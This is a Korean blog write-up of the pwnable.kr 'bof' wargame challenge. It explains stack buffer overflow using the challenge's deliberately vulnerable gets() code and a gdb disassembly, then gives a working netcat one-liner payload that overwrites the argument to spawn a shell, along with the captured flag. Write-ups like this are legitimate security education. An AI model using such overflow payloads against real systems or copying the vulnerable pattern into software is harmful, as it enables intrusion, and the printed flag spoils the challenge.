Notice
Recent Posts
Recent Comments
Link
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Archives
Today
Total
관리 메뉴

White Security

Bof 문제풀이 본문

Wargame Writeups/pwnable.kr

Bof 문제풀이

POSIX 2019. 2. 5. 00:36


Nana told me that buffer overflow is one of the most common software vulnerability. 
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000


Toddler's Bottle 3번 문제입니다.

이름으로 추측할 수 있듯 버퍼 오버 플로우에 관한 문제인데요.


netcat 을 사용하여 통신하라고 되어 있네요.

윈도우즈용 netcat은 이곳에서 다운받을 수 있습니다.


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}


소스파일을 확인해 보겠습니다.

main 함수에서 0xdeadbeef 를 인자로

func 함수를 실행하고 있군요.


그리고선 overflowme 라는 char 배열에

gets 로 입력을 받고

함수 호출 인자였던 0xdeadbeef 와 0xcafebabe 를 비교해서

동일하면 시스템 쉘을 얻을 수 있습니다.


문제는 비교 문자열들이

모두 하드코딩되어 편집할 방법이 없다는 것입니다.


그래서 필요한 것이

바로 버퍼 오버플로우인데요.


버퍼 오버플로우에도 여러 종류가 있지만

이번에 우리가 사용할 기법은

스택 오버플로우 입니다.


초심자라면 단어가 조금은

어렵게 느껴질 수도 있지만

개념은 단순합니다.


로컬 변수에게 할당된 메모리를

초과하여 사용해 예상치 못한 동작을 일으키는 것이죠.



예를 들어봅시다.

Z, Y, X 세개의 크기가 다른 변수가 존재하고 있습니다.

그 중 Z 변수의 크기는 6칸 이군요.


여기서 Y를 '.' 와 비교한다면 어떨까요?

Y 안에는 ':' 가 들어있으므로 False를 반환할 것입니다.


그런데 여기서 Z에 사용자가 입력을 한다면 어떨까요?



이런, Z 값에 할당된 용량을 초과하여

데이터를 입력해 버렸군요.


여기서 Y를 '.' 와 비교한다면 어떨까요?

본래라면 False를 반환했어야 하는데

값이 변조되어 True 를 반환하고 맙니다.


이번 문제에서는 

overflowme 가 Z가 되고

0xdeadbeef 임시변수가 Y가 된다고

생각하시면 될 것 같네요.


(gdb) set disassembly-flavor intel
(gdb) disas func
Dump of assembler code for function func:
   0x0000062c <+0>:     push   ebp
   0x0000062d <+1>:     mov    ebp,esp
   0x0000062f <+3>:     sub    esp,0x48
   0x00000632 <+6>:     mov    eax,gs:0x14
   0x00000638 <+12>:    mov    DWORD PTR [ebp-0xc],eax
   0x0000063b <+15>:    xor    eax,eax
   0x0000063d <+17>:    mov    DWORD PTR [esp],0x78c
   0x00000644 <+24>:    call   0x645 <func+25>
   0x00000649 <+29>:    lea    eax,[ebp-0x2c]
   0x0000064c <+32>:    mov    DWORD PTR [esp],eax
   0x0000064f <+35>:    call   0x650 <func+36>
   0x00000654 <+40>:    cmp    DWORD PTR [ebp+0x8],0xcafebabe
   0x0000065b <+47>:    jne    0x66b <func+63>
   0x0000065d <+49>:    mov    DWORD PTR [esp],0x79b
   0x00000664 <+56>:    call   0x665 <func+57>
   0x00000669 <+61>:    jmp    0x677 <func+75>
   0x0000066b <+63>:    mov    DWORD PTR [esp],0x7a3
   0x00000672 <+70>:    call   0x673 <func+71>
   0x00000677 <+75>:    mov    eax,DWORD PTR [ebp-0xc]
   0x0000067a <+78>:    xor    eax,DWORD PTR gs:0x14
   0x00000681 <+85>:    je     0x688 <func+92>
   0x00000683 <+87>:    call   0x684 <func+88>
   0x00000688 <+92>:    leave
   0x00000689 <+93>:    ret
End of assembler dump.


링크된 실행파일을 어셈블리어로 보면


가장 먼저 15번 라인이 눈에 띕니다.

0xcafebabe 와 [ebp+0x8] 에 있는 값을 비교하고 있군요.


그리고 12번 라인을 보면 gets 를 호출하기 전에

[esp]에 [ebp-0x2c] 를 대입하고 있습니다.


즉 우리가 입력하는 overflowme 의 시작 부분이 [ebp-0x2c]

func 함수 호출 인자였던 0xdeadbeef 의 시작 부분인 [ebp+0x8]

이라는 것을 알수 있죠


0x2c + 0x8 = 52 이므로

52바이트 뒤에 0xcafebabe를 덮어씌워 주면

조건식을 통과할 수 있을 것입니다.


# ( printf "%52s\xbe\xba\xfe\xca"; cat ) | nc pwnable.kr 9000
ls -l
total 60812
-r-xr-x--- 1 root bof      7348 Sep 12  2016 bof
-rw-r--r-- 1 root root      308 Oct 23  2016 bof.c
-r--r----- 1 root bof        32 Jun 11  2014 flag
-rw------- 1 root root 62243025 Feb  4 07:00 log
-rw-r--r-- 1 root root        0 Oct 23  2016 log2
-rwx------ 1 root root      760 Sep 10  2014 super.pl
cat flag
daddy, I just pwned a buFFer :)


쉘을 얻어 flag의 값을 확인할 수 있었습니다.


printf 문 이후에 cat을 써 준 이유는

송신후에 입력을 닫지 않고

쉘을 계속 이용할 수 있게 하기 위해서 입니다.


'Wargame Writeups > pwnable.kr' 카테고리의 다른 글

Random 문제풀이  (0) 2019.02.06
Passcode 문제풀이  (0) 2019.02.06
Flag 문제풀이  (0) 2019.02.05
Collision 문제풀이  (1) 2019.02.04
Fd 문제풀이  (0) 2019.01.31
Comments